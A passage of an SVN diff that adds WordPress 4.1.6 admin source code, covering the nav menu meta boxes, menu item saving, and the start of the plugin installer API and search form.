+				<?php submit_button( __( 'Search' ), 'button-small quick-search-submit button-secondary hide-if-js', 'submit', false, array( 'id' => 'submit-quick-search-posttype-' . $post_type_name ) ); ?>
+			</p>
+
+			<ul id="<?php echo $post_type_name; ?>-search-checklist" data-wp-lists="list:<?php echo $post_type_name?>" class="categorychecklist form-no-clear">
+			<?php if ( ! empty( $search_results ) && ! is_wp_error( $search_results ) ) : ?>
+				<?php
+				$args['walker'] = $walker;
+				echo walk_nav_menu_tree( array_map('wp_setup_nav_menu_item', $search_results), 0, (object) $args );
+				?>
+			<?php elseif ( is_wp_error( $search_results ) ) : ?>
+				<li><?php echo $search_results->get_error_message(); ?></li>
+			<?php elseif ( ! empty( $searched ) ) : ?>
+				<li><?php _e('No results found.'); ?></li>
+			<?php endif; ?>
+			</ul>
+		</div><!-- /.tabs-panel -->
+
+		<div id="<?php echo $post_type_name; ?>-all" class="tabs-panel tabs-panel-view-all <?php
+			echo ( 'all' == $current_tab ? 'tabs-panel-active' : 'tabs-panel-inactive' );
+		?>">
+			<?php if ( ! empty( $page_links ) ) : ?>
+				<div class="add-menu-item-pagelinks">
+					<?php echo $page_links; ?>
+				</div>
+			<?php endif; ?>
+			<ul id="<?php echo $post_type_name; ?>checklist" data-wp-lists="list:<?php echo $post_type_name?>" class="categorychecklist form-no-clear">
+				<?php
+				$args['walker'] = $walker;
+
+				/*
+				 * If we're dealing with pages, let's put a checkbox for the front
+				 * page at the top of the list.
+				 */
+				if ( 'page' == $post_type_name ) {
+					$front_page = 'page' == get_option('show_on_front') ? (int) get_option( 'page_on_front' ) : 0;
+					if ( ! empty( $front_page ) ) {
+						$front_page_obj = get_post( $front_page );
+						$front_page_obj->front_or_home = true;
+						array_unshift( $posts, $front_page_obj );
+					} else {
+						$_nav_menu_placeholder = ( 0 > $_nav_menu_placeholder ) ? intval($_nav_menu_placeholder) - 1 : -1;
+						array_unshift( $posts, (object) array(
+							'front_or_home' => true,
+							'ID' => 0,
+							'object_id' => $_nav_menu_placeholder,
+							'post_content' => '',
+							'post_excerpt' => '',
+							'post_parent' => '',
+							'post_title' => _x('Home', 'nav menu home label'),
+							'post_type' => 'nav_menu_item',
+							'type' => 'custom',
+							'url' => home_url('/'),
+						) );
+					}
+				}
+
+				/**
+				 * Filter the posts displayed in the 'View All' tab of the current
+				 * post type's menu items meta box.
+				 *
+				 * The dynamic portion of the hook name, `$post_type_name`, refers
+				 * to the slug of the current post type.
+				 *
+				 * @since 3.2.0
+				 *
+				 * @see WP_Query::query()
+				 *
+				 * @param array  $posts     The posts for the current post type.
+				 * @param array  $args      An array of WP_Query arguments.
+				 * @param object $post_type The current post type object for this menu item meta box.
+				 */
+				$posts = apply_filters( "nav_menu_items_{$post_type_name}", $posts, $args, $post_type );
+				$checkbox_items = walk_nav_menu_tree( array_map('wp_setup_nav_menu_item', $posts), 0, (object) $args );
+
+				if ( 'all' == $current_tab && ! empty( $_REQUEST['selectall'] ) ) {
+					$checkbox_items = preg_replace('/(type=(.)checkbox(\2))/', '$1 checked=$2checked$2', $checkbox_items);
+
+				}
+
+				echo $checkbox_items;
+				?>
+			</ul>
+			<?php if ( ! empty( $page_links ) ) : ?>
+				<div class="add-menu-item-pagelinks">
+					<?php echo $page_links; ?>
+				</div>
+			<?php endif; ?>
+		</div><!-- /.tabs-panel -->
+
+		<p class="button-controls">
+			<span class="list-controls">
+				<a href="<?php
+					echo esc_url( add_query_arg(
+						array(
+							$post_type_name . '-tab' => 'all',
+							'selectall' => 1,
+						),
+						remove_query_arg( $removed_args )
+					));
+				?>#posttype-<?php echo $post_type_name; ?>" class="select-all"><?php _e('Select All'); ?></a>
+			</span>
+
+			<span class="add-to-menu">
+				<input type="submit"<?php wp_nav_menu_disabled_check( $nav_menu_selected_id ); ?> class="button-secondary submit-add-to-menu right" value="<?php esc_attr_e( 'Add to Menu' ); ?>" name="add-post-type-menu-item" id="<?php echo esc_attr( 'submit-posttype-' . $post_type_name ); ?>" />
+				<span class="spinner"></span>
+			</span>
+		</p>
+
+	</div><!-- /.posttypediv -->
+	<?php
+}
+
+/**
+ * Displays a metabox for a taxonomy menu item.
+ *
+ * @since 3.0.0
+ *
+ * @param string $object Not used.
+ * @param string $taxonomy The taxonomy object.
+ */
+function wp_nav_menu_item_taxonomy_meta_box( $object, $taxonomy ) {
+	global $nav_menu_selected_id;
+	$taxonomy_name = $taxonomy['args']->name;
+
+	// Paginate browsing for large numbers of objects.
+	$per_page = 50;
+	$pagenum = isset( $_REQUEST[$taxonomy_name . '-tab'] ) && isset( $_REQUEST['paged'] ) ? absint( $_REQUEST['paged'] ) : 1;
+	$offset = 0 < $pagenum ? $per_page * ( $pagenum - 1 ) : 0;
+
+	$args = array(
+		'child_of' => 0,
+		'exclude' => '',
+		'hide_empty' => false,
+		'hierarchical' => 1,
+		'include' => '',
+		'number' => $per_page,
+		'offset' => $offset,
+		'order' => 'ASC',
+		'orderby' => 'name',
+		'pad_counts' => false,
+	);
+
+	$terms = get_terms( $taxonomy_name, $args );
+
+	if ( ! $terms || is_wp_error($terms) ) {
+		echo '<p>' . __( 'No items.' ) . '</p>';
+		return;
+	}
+
+	$num_pages = ceil( wp_count_terms( $taxonomy_name , array_merge( $args, array('number' => '', 'offset' => '') ) ) / $per_page );
+
+	$page_links = paginate_links( array(
+		'base' => add_query_arg(
+			array(
+				$taxonomy_name . '-tab' => 'all',
+				'paged' => '%#%',
+				'item-type' => 'taxonomy',
+				'item-object' => $taxonomy_name,
+			)
+		),
+		'format' => '',
+		'prev_text' => __('&laquo;'),
+		'next_text' => __('&raquo;'),
+		'total' => $num_pages,
+		'current' => $pagenum
+	));
+
+	$db_fields = false;
+	if ( is_taxonomy_hierarchical( $taxonomy_name ) ) {
+		$db_fields = array( 'parent' => 'parent', 'id' => 'term_id' );
+	}
+
+	$walker = new Walker_Nav_Menu_Checklist( $db_fields );
+
+	$current_tab = 'most-used';
+	if ( isset( $_REQUEST[$taxonomy_name . '-tab'] ) && in_array( $_REQUEST[$taxonomy_name . '-tab'], array('all', 'most-used', 'search') ) ) {
+		$current_tab = $_REQUEST[$taxonomy_name . '-tab'];
+	}
+
+	if ( ! empty( $_REQUEST['quick-search-taxonomy-' . $taxonomy_name] ) ) {
+		$current_tab = 'search';
+	}
+
+	$removed_args = array(
+		'action',
+		'customlink-tab',
+		'edit-menu-item',
+		'menu-item',
+		'page-tab',
+		'_wpnonce',
+	);
+
+	?>
+	<div id="taxonomy-<?php echo $taxonomy_name; ?>" class="taxonomydiv">
+		<ul id="taxonomy-<?php echo $taxonomy_name; ?>-tabs" class="taxonomy-tabs add-menu-item-tabs">
+			<li <?php echo ( 'most-used' == $current_tab ? ' class="tabs"' : '' ); ?>>
+				<a class="nav-tab-link" data-type="tabs-panel-<?php echo esc_attr( $taxonomy_name ); ?>-pop" href="<?php if ( $nav_menu_selected_id ) echo esc_url(add_query_arg($taxonomy_name . '-tab', 'most-used', remove_query_arg($removed_args))); ?>#tabs-panel-<?php echo $taxonomy_name; ?>-pop">
+					<?php _e( 'Most Used' ); ?>
+				</a>
+			</li>
+			<li <?php echo ( 'all' == $current_tab ? ' class="tabs"' : '' ); ?>>
+				<a class="nav-tab-link" data-type="tabs-panel-<?php echo esc_attr( $taxonomy_name ); ?>-all" href="<?php if ( $nav_menu_selected_id ) echo esc_url(add_query_arg($taxonomy_name . '-tab', 'all', remove_query_arg($removed_args))); ?>#tabs-panel-<?php echo $taxonomy_name; ?>-all">
+					<?php _e( 'View All' ); ?>
+				</a>
+			</li>
+			<li <?php echo ( 'search' == $current_tab ? ' class="tabs"' : '' ); ?>>
+				<a class="nav-tab-link" data-type="tabs-panel-search-taxonomy-<?php echo esc_attr( $taxonomy_name ); ?>" href="<?php if ( $nav_menu_selected_id ) echo esc_url(add_query_arg($taxonomy_name . '-tab', 'search', remove_query_arg($removed_args))); ?>#tabs-panel-search-taxonomy-<?php echo $taxonomy_name; ?>">
+					<?php _e( 'Search' ); ?>
+				</a>
+			</li>
+		</ul><!-- .taxonomy-tabs -->
+
+		<div id="tabs-panel-<?php echo $taxonomy_name; ?>-pop" class="tabs-panel <?php
+			echo ( 'most-used' == $current_tab ? 'tabs-panel-active' : 'tabs-panel-inactive' );
+		?>">
+			<ul id="<?php echo $taxonomy_name; ?>checklist-pop" class="categorychecklist form-no-clear" >
+				<?php
+				$popular_terms = get_terms( $taxonomy_name, array( 'orderby' => 'count', 'order' => 'DESC', 'number' => 10, 'hierarchical' => false ) );
+				$args['walker'] = $walker;
+				echo walk_nav_menu_tree( array_map('wp_setup_nav_menu_item', $popular_terms), 0, (object) $args );
+				?>
+			</ul>
+		</div><!-- /.tabs-panel -->
+
+		<div id="tabs-panel-<?php echo $taxonomy_name; ?>-all" class="tabs-panel tabs-panel-view-all <?php
+			echo ( 'all' == $current_tab ? 'tabs-panel-active' : 'tabs-panel-inactive' );
+		?>">
+			<?php if ( ! empty( $page_links ) ) : ?>
+				<div class="add-menu-item-pagelinks">
+					<?php echo $page_links; ?>
+				</div>
+			<?php endif; ?>
+			<ul id="<?php echo $taxonomy_name; ?>checklist" data-wp-lists="list:<?php echo $taxonomy_name?>" class="categorychecklist form-no-clear">
+				<?php
+				$args['walker'] = $walker;
+				echo walk_nav_menu_tree( array_map('wp_setup_nav_menu_item', $terms), 0, (object) $args );
+				?>
+			</ul>
+			<?php if ( ! empty( $page_links ) ) : ?>
+				<div class="add-menu-item-pagelinks">
+					<?php echo $page_links; ?>
+				</div>
+			<?php endif; ?>
+		</div><!-- /.tabs-panel -->
+
+		<div class="tabs-panel <?php
+			echo ( 'search' == $current_tab ? 'tabs-panel-active' : 'tabs-panel-inactive' );
+		?>" id="tabs-panel-search-taxonomy-<?php echo $taxonomy_name; ?>">
+			<?php
+			if ( isset( $_REQUEST['quick-search-taxonomy-' . $taxonomy_name] ) ) {
+				$searched = esc_attr( $_REQUEST['quick-search-taxonomy-' . $taxonomy_name] );
+				$search_results = get_terms( $taxonomy_name, array( 'name__like' => $searched, 'fields' => 'all', 'orderby' => 'count', 'order' => 'DESC', 'hierarchical' => false ) );
+			} else {
+				$searched = '';
+				$search_results = array();
+			}
+			?>
+			<p class="quick-search-wrap">
+				<input type="search" class="quick-search input-with-default-title" title="<?php esc_attr_e('Search'); ?>" value="<?php echo $searched; ?>" name="quick-search-taxonomy-<?php echo $taxonomy_name; ?>" />
+				<span class="spinner"></span>
+				<?php submit_button( __( 'Search' ), 'button-small quick-search-submit button-secondary hide-if-js', 'submit', false, array( 'id' => 'submit-quick-search-taxonomy-' . $taxonomy_name ) ); ?>
+			</p>
+
+			<ul id="<?php echo $taxonomy_name; ?>-search-checklist" data-wp-lists="list:<?php echo $taxonomy_name?>" class="categorychecklist form-no-clear">
+			<?php if ( ! empty( $search_results ) && ! is_wp_error( $search_results ) ) : ?>
+				<?php
+				$args['walker'] = $walker;
+				echo walk_nav_menu_tree( array_map('wp_setup_nav_menu_item', $search_results), 0, (object) $args );
+				?>
+			<?php elseif ( is_wp_error( $search_results ) ) : ?>
+				<li><?php echo $search_results->get_error_message(); ?></li>
+			<?php elseif ( ! empty( $searched ) ) : ?>
+				<li><?php _e('No results found.'); ?></li>
+			<?php endif; ?>
+			</ul>
+		</div><!-- /.tabs-panel -->
+
+		<p class="button-controls">
+			<span class="list-controls">
+				<a href="<?php
+					echo esc_url(add_query_arg(
+						array(
+							$taxonomy_name . '-tab' => 'all',
+							'selectall' => 1,
+						),
+						remove_query_arg($removed_args)
+					));
+				?>#taxonomy-<?php echo $taxonomy_name; ?>" class="select-all"><?php _e('Select All'); ?></a>
+			</span>
+
+			<span class="add-to-menu">
+				<input type="submit"<?php wp_nav_menu_disabled_check( $nav_menu_selected_id ); ?> class="button-secondary submit-add-to-menu right" value="<?php esc_attr_e( 'Add to Menu' ); ?>" name="add-taxonomy-menu-item" id="<?php echo esc_attr( 'submit-taxonomy-' . $taxonomy_name ); ?>" />
+				<span class="spinner"></span>
+			</span>
+		</p>
+
+	</div><!-- /.taxonomydiv -->
+	<?php
+}
+
+/**
+ * Save posted nav menu item data.
+ *
+ * @since 3.0.0
+ *
+ * @param int $menu_id The menu ID for which to save this item. $menu_id of 0 makes a draft, orphaned menu item.
+ * @param array $menu_data The unsanitized posted menu item data.
+ * @return array The database IDs of the items saved
+ */
+function wp_save_nav_menu_items( $menu_id = 0, $menu_data = array() ) {
+	$menu_id = (int) $menu_id;
+	$items_saved = array();
+
+	if ( 0 == $menu_id || is_nav_menu( $menu_id ) ) {
+
+		// Loop through all the menu items' POST values.
+		foreach( (array) $menu_data as $_possible_db_id => $_item_object_data ) {
+			if (
+				// Checkbox is not checked.
+				empty( $_item_object_data['menu-item-object-id'] ) &&
+				(
+					// And item type either isn't set.
+					! isset( $_item_object_data['menu-item-type'] ) ||
+					// Or URL is the default.
+					in_array( $_item_object_data['menu-item-url'], array( 'http://', '' ) ) ||
+					! ( 'custom' == $_item_object_data['menu-item-type'] && ! isset( $_item_object_data['menu-item-db-id'] ) ) || // or it's not a custom menu item (but not the custom home page)
+					// Or it *is* a custom menu item that already exists.
+					! empty( $_item_object_data['menu-item-db-id'] )
+				)
+			) {
+				// Then this potential menu item is not getting added to this menu.
+				continue;
+			}
+
+			// If this possible menu item doesn't actually have a menu database ID yet.
+			if (
+				empty( $_item_object_data['menu-item-db-id'] ) ||
+				( 0 > $_possible_db_id ) ||
+				$_possible_db_id != $_item_object_data['menu-item-db-id']
+			) {
+				$_actual_db_id = 0;
+			} else {
+				$_actual_db_id = (int) $_item_object_data['menu-item-db-id'];
+			}
+
+			$args = array(
+				'menu-item-db-id' => ( isset( $_item_object_data['menu-item-db-id'] ) ? $_item_object_data['menu-item-db-id'] : '' ),
+				'menu-item-object-id' => ( isset( $_item_object_data['menu-item-object-id'] ) ? $_item_object_data['menu-item-object-id'] : '' ),
+				'menu-item-object' => ( isset( $_item_object_data['menu-item-object'] ) ? $_item_object_data['menu-item-object'] : '' ),
+				'menu-item-parent-id' => ( isset( $_item_object_data['menu-item-parent-id'] ) ? $_item_object_data['menu-item-parent-id'] : '' ),
+				'menu-item-position' => ( isset( $_item_object_data['menu-item-position'] ) ? $_item_object_data['menu-item-position'] : '' ),
+				'menu-item-type' => ( isset( $_item_object_data['menu-item-type'] ) ? $_item_object_data['menu-item-type'] : '' ),
+				'menu-item-title' => ( isset( $_item_object_data['menu-item-title'] ) ? $_item_object_data['menu-item-title'] : '' ),
+				'menu-item-url' => ( isset( $_item_object_data['menu-item-url'] ) ? $_item_object_data['menu-item-url'] : '' ),
+				'menu-item-description' => ( isset( $_item_object_data['menu-item-description'] ) ? $_item_object_data['menu-item-description'] : '' ),
+				'menu-item-attr-title' => ( isset( $_item_object_data['menu-item-attr-title'] ) ? $_item_object_data['menu-item-attr-title'] : '' ),
+				'menu-item-target' => ( isset( $_item_object_data['menu-item-target'] ) ? $_item_object_data['menu-item-target'] : '' ),
+				'menu-item-classes' => ( isset( $_item_object_data['menu-item-classes'] ) ? $_item_object_data['menu-item-classes'] : '' ),
+				'menu-item-xfn' => ( isset( $_item_object_data['menu-item-xfn'] ) ? $_item_object_data['menu-item-xfn'] : '' ),
+			);
+
+			$items_saved[] = wp_update_nav_menu_item( $menu_id, $_actual_db_id, $args );
+
+		}
+	}
+	return $items_saved;
+}
+
+/**
+ * Adds custom arguments to some of the meta box object types.
+ *
+ * @since 3.0.0
+ *
+ * @access private
+ *
+ * @param object $object The post type or taxonomy meta-object.
+ * @return object The post type of taxonomy object.
+ */
+function _wp_nav_menu_meta_box_object( $object = null ) {
+	if ( isset( $object->name ) ) {
+
+		if ( 'page' == $object->name ) {
+			$object->_default_query = array(
+				'orderby' => 'menu_order title',
+				'post_status' => 'publish',
+			);
+
+		// Posts should show only published items.
+		} elseif ( 'post' == $object->name ) {
+			$object->_default_query = array(
+				'post_status' => 'publish',
+			);
+
+		// Categories should be in reverse chronological order.
+		} elseif ( 'category' == $object->name ) {
+			$object->_default_query = array(
+				'orderby' => 'id',
+				'order' => 'DESC',
+			);
+
+		// Custom post types should show only published items.
+		} else {
+			$object->_default_query = array(
+				'post_status' => 'publish',
+			);
+		}
+	}
+
+	return $object;
+}
+
+/**
+ * Returns the menu formatted to edit.
+ *
+ * @since 3.0.0
+ *
+ * @param int $menu_id Optional. The ID of the menu to format. Default 0.
+ * @return string|WP_Error $output The menu formatted to edit or error object on failure.
+ */
+function wp_get_nav_menu_to_edit( $menu_id = 0 ) {
+	$menu = wp_get_nav_menu_object( $menu_id );
+
+	// If the menu exists, get its items.
+	if ( is_nav_menu( $menu ) ) {
+		$menu_items = wp_get_nav_menu_items( $menu->term_id, array('post_status' => 'any') );
+		$result = '<div id="menu-instructions" class="post-body-plain';
+		$result .= ( ! empty($menu_items) ) ? ' menu-instructions-inactive">' : '">';
+		$result .= '<p>' . __( 'Add menu items from the column on the left.' ) . '</p>';
+		$result .= '</div>';
+
+		if( empty($menu_items) )
+			return $result . ' <ul class="menu" id="menu-to-edit"> </ul>';
+
+		/**
+		 * Filter the Walker class used when adding nav menu items.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param string $class   The walker class to use. Default 'Walker_Nav_Menu_Edit'.
+		 * @param int    $menu_id ID of the menu being rendered.
+		 */
+		$walker_class_name = apply_filters( 'wp_edit_nav_menu_walker', 'Walker_Nav_Menu_Edit', $menu_id );
+
+		if ( class_exists( $walker_class_name ) )
+			$walker = new $walker_class_name;
+		else
+			return new WP_Error( 'menu_walker_not_exist', sprintf( __('The Walker class named <strong>%s</strong> does not exist.'), $walker_class_name ) );
+
+		$some_pending_menu_items = $some_invalid_menu_items = false;
+		foreach( (array) $menu_items as $menu_item ) {
+			if ( isset( $menu_item->post_status ) && 'draft' == $menu_item->post_status )
+				$some_pending_menu_items = true;
+			if ( ! empty( $menu_item->_invalid ) )
+				$some_invalid_menu_items = true;
+		}
+
+		if ( $some_pending_menu_items )
+			$result .= '<div class="updated inline"><p>' . __('Click Save Menu to make pending menu items public.') . '</p></div>';
+
+		if ( $some_invalid_menu_items )
+			$result .= '<div class="error inline"><p>' . __('There are some invalid menu items. Please check or delete them.') . '</p></div>';
+
+		$result .= '<ul class="menu" id="menu-to-edit"> ';
+		$result .= walk_nav_menu_tree( array_map('wp_setup_nav_menu_item', $menu_items), 0, (object) array('walker' => $walker ) );
+		$result .= ' </ul> ';
+		return $result;
+	} elseif ( is_wp_error( $menu ) ) {
+		return $menu;
+	}
+
+}
+
+/**
+ * Returns the columns for the nav menus page.
+ *
+ * @since 3.0.0
+ *
+ * @return string|WP_Error $output The menu formatted to edit or error object on failure.
+ */
+function wp_nav_menu_manage_columns() {
+	return array(
+		'_title' => __('Show advanced menu properties'),
+		'cb' => '<input type="checkbox" />',
+		'link-target' => __('Link Target'),
+		'css-classes' => __('CSS Classes'),
+		'xfn' => __('Link Relationship (XFN)'),
+		'description' => __('Description'),
+	);
+}
+
+/**
+ * Deletes orphaned draft menu items
+ *
+ * @access private
+ * @since 3.0.0
+ *
+ */
+function _wp_delete_orphaned_draft_menu_items() {
+	global $wpdb;
+	$delete_timestamp = time() - ( DAY_IN_SECONDS * EMPTY_TRASH_DAYS );
+
+	// Delete orphaned draft menu items.
+	$menu_items_to_delete = $wpdb->get_col($wpdb->prepare("SELECT ID FROM $wpdb->posts AS p LEFT JOIN $wpdb->postmeta AS m ON p.ID = m.post_id WHERE post_type = 'nav_menu_item' AND post_status = 'draft' AND meta_key = '_menu_item_orphaned' AND meta_value < '%d'", $delete_timestamp ) );
+
+	foreach( (array) $menu_items_to_delete as $menu_item_id )
+		wp_delete_post( $menu_item_id, true );
+}
+add_action('admin_head-nav-menus.php', '_wp_delete_orphaned_draft_menu_items');
+
+/**
+ * Saves nav menu items
+ *
+ * @since 3.6.0
+ *
+ * @param int|string $nav_menu_selected_id (id, slug, or name ) of the currently-selected menu
+ * @param string $nav_menu_selected_title Title of the currently-selected menu
+ * @return array $messages The menu updated message
+ */
+function wp_nav_menu_update_menu_items ( $nav_menu_selected_id, $nav_menu_selected_title ) {
+	$unsorted_menu_items = wp_get_nav_menu_items( $nav_menu_selected_id, array( 'orderby' => 'ID', 'output' => ARRAY_A, 'output_key' => 'ID', 'post_status' => 'draft,publish' ) );
+
+	$menu_items = array();
+	// Index menu items by db ID
+	foreach ( $unsorted_menu_items as $_item )
+		$menu_items[$_item->db_id] = $_item;
+
+	$post_fields = array(
+		'menu-item-db-id', 'menu-item-object-id', 'menu-item-object',
+		'menu-item-parent-id', 'menu-item-position', 'menu-item-type',
+		'menu-item-title', 'menu-item-url', 'menu-item-description',
+		'menu-item-attr-title', 'menu-item-target', 'menu-item-classes', 'menu-item-xfn'
+	);
+
+	wp_defer_term_counting( true );
+	// Loop through all the menu items' POST variables
+	if ( ! empty( $_POST['menu-item-db-id'] ) ) {
+		foreach( (array) $_POST['menu-item-db-id'] as $_key => $k ) {
+
+			// Menu item title can't be blank
+			if ( ! isset( $_POST['menu-item-title'][ $_key ] ) || '' == $_POST['menu-item-title'][ $_key ] )
+				continue;
+
+			$args = array();
+			foreach ( $post_fields as $field )
+				$args[$field] = isset( $_POST[$field][$_key] ) ? $_POST[$field][$_key] : '';
+
+			$menu_item_db_id = wp_update_nav_menu_item( $nav_menu_selected_id, ( $_POST['menu-item-db-id'][$_key] != $_key ? 0 : $_key ), $args );
+
+			if ( is_wp_error( $menu_item_db_id ) )
+				$messages[] = '<div id="message" class="error"><p>' . $menu_item_db_id->get_error_message() . '</p></div>';
+			elseif ( isset( $menu_items[$menu_item_db_id] ) )
+				unset( $menu_items[$menu_item_db_id] );
+		}
+	}
+
+	// Remove menu items from the menu that weren't in $_POST
+	if ( ! empty( $menu_items ) ) {
+		foreach ( array_keys( $menu_items ) as $menu_item_id ) {
+			if ( is_nav_menu_item( $menu_item_id ) ) {
+				wp_delete_post( $menu_item_id );
+			}
+		}
+	}
+
+	// Store 'auto-add' pages.
+	$auto_add = ! empty( $_POST['auto-add-pages'] );
+	$nav_menu_option = (array) get_option( 'nav_menu_options' );
+	if ( ! isset( $nav_menu_option['auto_add'] ) )
+		$nav_menu_option['auto_add'] = array();
+	if ( $auto_add ) {
+		if ( ! in_array( $nav_menu_selected_id, $nav_menu_option['auto_add'] ) )
+			$nav_menu_option['auto_add'][] = $nav_menu_selected_id;
+	} else {
+		if ( false !== ( $key = array_search( $nav_menu_selected_id, $nav_menu_option['auto_add'] ) ) )
+			unset( $nav_menu_option['auto_add'][$key] );
+	}
+	// Remove nonexistent/deleted menus
+	$nav_menu_option['auto_add'] = array_intersect( $nav_menu_option['auto_add'], wp_get_nav_menus( array( 'fields' => 'ids' ) ) );
+	update_option( 'nav_menu_options', $nav_menu_option );
+
+	wp_defer_term_counting( false );
+
+	/** This action is documented in wp-includes/nav-menu.php */
+	do_action( 'wp_update_nav_menu', $nav_menu_selected_id );
+
+	$messages[] = '<div id="message" class="updated"><p>' . sprintf( __( '<strong>%1$s</strong> has been updated.' ), $nav_menu_selected_title ) . '</p></div>';
+	unset( $menu_items, $unsorted_menu_items );
+
+	return $messages;
+}
Index: /tags/4.1.6/src/wp-admin/includes/plugin-install.php
===================================================================
--- /tags/4.1.6/src/wp-admin/includes/plugin-install.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/includes/plugin-install.php	(revision 33402)
@@ -0,0 +1,566 @@
+<?php
+/**
+ * WordPress Plugin Install Administration API
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * Retrieve plugin installer pages from WordPress Plugins API.
+ *
+ * It is possible for a plugin to override the Plugin API result with three
+ * filters. Assume this is for plugins, which can extend on the Plugin Info to
+ * offer more choices. This is very powerful and must be used with care, when
+ * overriding the filters.
+ *
+ * The first filter, 'plugins_api_args', is for the args and gives the action as
+ * the second parameter. The hook for 'plugins_api_args' must ensure that an
+ * object is returned.
+ *
+ * The second filter, 'plugins_api', is the result that would be returned.
+ *
+ * @since 2.7.0
+ *
+ * @param string $action
+ * @param array|object $args Optional. Arguments to serialize for the Plugin Info API.
+ * @return object plugins_api response object on success, WP_Error on failure.
+ */
+function plugins_api($action, $args = null) {
+
+	if ( is_array( $args ) ) {
+		$args = (object) $args;
+	}
+
+	if ( ! isset( $args->per_page ) ) {
+		$args->per_page = 24;
+	}
+
+	if ( ! isset( $args->locale ) ) {
+		$args->locale = get_locale();
+	}
+
+	/**
+	 * Override the Plugin Install API arguments.
+	 *
+	 * Please ensure that an object is returned.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param object $args   Plugin API arguments.
+	 * @param string $action The type of information being requested from the Plugin Install API.
+	 */
+	$args = apply_filters( 'plugins_api_args', $args, $action );
+
+	/**
+	 * Allows a plugin to override the WordPress.org Plugin Install API entirely.
+	 *
+	 * Please ensure that an object is returned.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param bool|object $result The result object. Default false.
+	 * @param string      $action The type of information being requested from the Plugin Install API.
+	 * @param object      $args   Plugin API arguments.
+	 */
+	$res = apply_filters( 'plugins_api', false, $action, $args );
+
+	if ( false === $res ) {
+		$url = $http_url = 'http://api.wordpress.org/plugins/info/1.0/';
+		if ( $ssl = wp_http_supports( array( 'ssl' ) ) )
+			$url = set_url_scheme( $url, 'https' );
+
+		$args = array(
+			'timeout' => 15,
+			'body' => array(
+				'action' => $action,
+				'request' => serialize( $args )
+			)
+		);
+		$request = wp_remote_post( $url, $args );
+
+		if ( $ssl && is_wp_error( $request ) ) {
+			trigger_error( __( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="https://wordpress.org/support/">support forums</a>.' ) . ' ' . __( '(WordPress could not establish a secure connection to WordPress.org. Please contact your server administrator.)' ), headers_sent() || WP_DEBUG ? E_USER_WARNING : E_USER_NOTICE );
+			$request = wp_remote_post( $http_url, $args );
+		}
+
+		if ( is_wp_error($request) ) {
+			$res = new WP_Error('plugins_api_failed', __( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="https://wordpress.org/support/">support forums</a>.' ), $request->get_error_message() );
+		} else {
+			$res = maybe_unserialize( wp_remote_retrieve_body( $request ) );
+			if ( ! is_object( $res ) && ! is_array( $res ) )
+				$res = new WP_Error('plugins_api_failed', __( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="https://wordpress.org/support/">support forums</a>.' ), wp_remote_retrieve_body( $request ) );
+		}
+	} elseif ( !is_wp_error($res) ) {
+		$res->external = true;
+	}
+
+	/**
+	 * Filter the Plugin Install API response results.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param object|WP_Error $res    Response object or WP_Error.
+	 * @param string          $action The type of information being requested from the Plugin Install API.
+	 * @param object          $args   Plugin API arguments.
+	 */
+	return apply_filters( 'plugins_api_result', $res, $action, $args );
+}
+
+/**
+ * Retrieve popular WordPress plugin tags.
+ *
+ * @since 2.7.0
+ *
+ * @param array $args
+ * @return array
+ */
+function install_popular_tags( $args = array() ) {
+	$key = md5(serialize($args));
+	if ( false !== ($tags = get_site_transient('poptags_' . $key) ) )
+		return $tags;
+
+	$tags = plugins_api('hot_tags', $args);
+
+	if ( is_wp_error($tags) )
+		return $tags;
+
+	set_site_transient( 'poptags_' . $key, $tags, 3 * HOUR_IN_SECONDS );
+
+	return $tags;
+}
+
+function install_dashboard() {
+	?>
+	<p><?php printf( __( 'Plugins extend and expand the functionality of WordPress. You may automatically install plugins from the <a href="%1$s">WordPress Plugin Directory</a> or upload a plugin in .zip format via <a href="%2$s">this page</a>.' ), 'https://wordpress.org/plugins/', self_admin_url( 'plugin-install.php?tab=upload' ) ); ?></p>
+
+	<?php display_plugins_table(); ?>
+
+	<h3><?php _e( 'Popular tags' ) ?></h3>
+	<p><?php _e( 'You may also browse based on the most popular tags in the Plugin Directory:' ) ?></p>
+	<?php
+
+	$api_tags = install_popular_tags();
+
+	echo '<p class="popular-tags">';
+	if ( is_wp_error($api_tags) ) {
+		echo $api_tags->get_error_message();
+	} else {
+		//Set up the tags in a way which can be interpreted by wp_generate_tag_cloud()
+		$tags = array();
+		foreach ( (array)$api_tags as $tag )
+			$tags[ $tag['name'] ] = (object) array(
+									'link' => esc_url( self_admin_url('plugin-install.php?tab=search&type=tag&s=' . urlencode($tag['name'])) ),
+									'name' => $tag['name'],
+									'id' => sanitize_title_with_dashes($tag['name']),
+									'count' => $tag['count'] );
+		echo wp_generate_tag_cloud($tags, array( 'single_text' => __('%s plugin'), 'multiple_text' => __('%s plugins') ) );
+	}
+	echo '</p><br class="clear" />';
+}
+add_action( 'install_plugins_featured', 'install_dashboard' );
+
+/**
+ * Display search form for searching plugins.
+ *
+ * @since 2.7.0
+ */
+function install_search_form( $type_selector = true ) {
+	$type = isset($_REQUEST['type']) ? wp_unslash( $_REQUEST['type'] ) : 'term';
+	$term = isset($_REQUEST['s']) ? wp_unslash( $_REQUEST['s'] ) : '';
+	$input_attrs = '';
+	$button_type = 'button screen-reader-text';
+
+	// assume no $type_selector means it's a simplified search form
+	if ( ! $type_selector ) {
+		$input_attrs = 'class="wp-filter-search" placeholder="' . esc_attr__( 'Search Plugins' ) . '" ';
+	}
+
+	?><form class="search-form search-plugins" method="get" action="">
+		<input type="hidden" name="tab" value="search" />
+		<?php if ( $type_selector ) : ?>
+		<select name="type" id="typeselector">
+			<option value="term"<?php selected('term', $type) ?>><?php _e('Keyword'); ?></option>
+			<option value="author"<?php selected('author', $type) ?>><?php _e('Author'); ?></option>
+			<option value="tag"<?php selected('tag', $type) ?>><?php _ex('Tag', 'Plugin Installer'); ?></option>
+		</select>
+		<?php endif; ?>
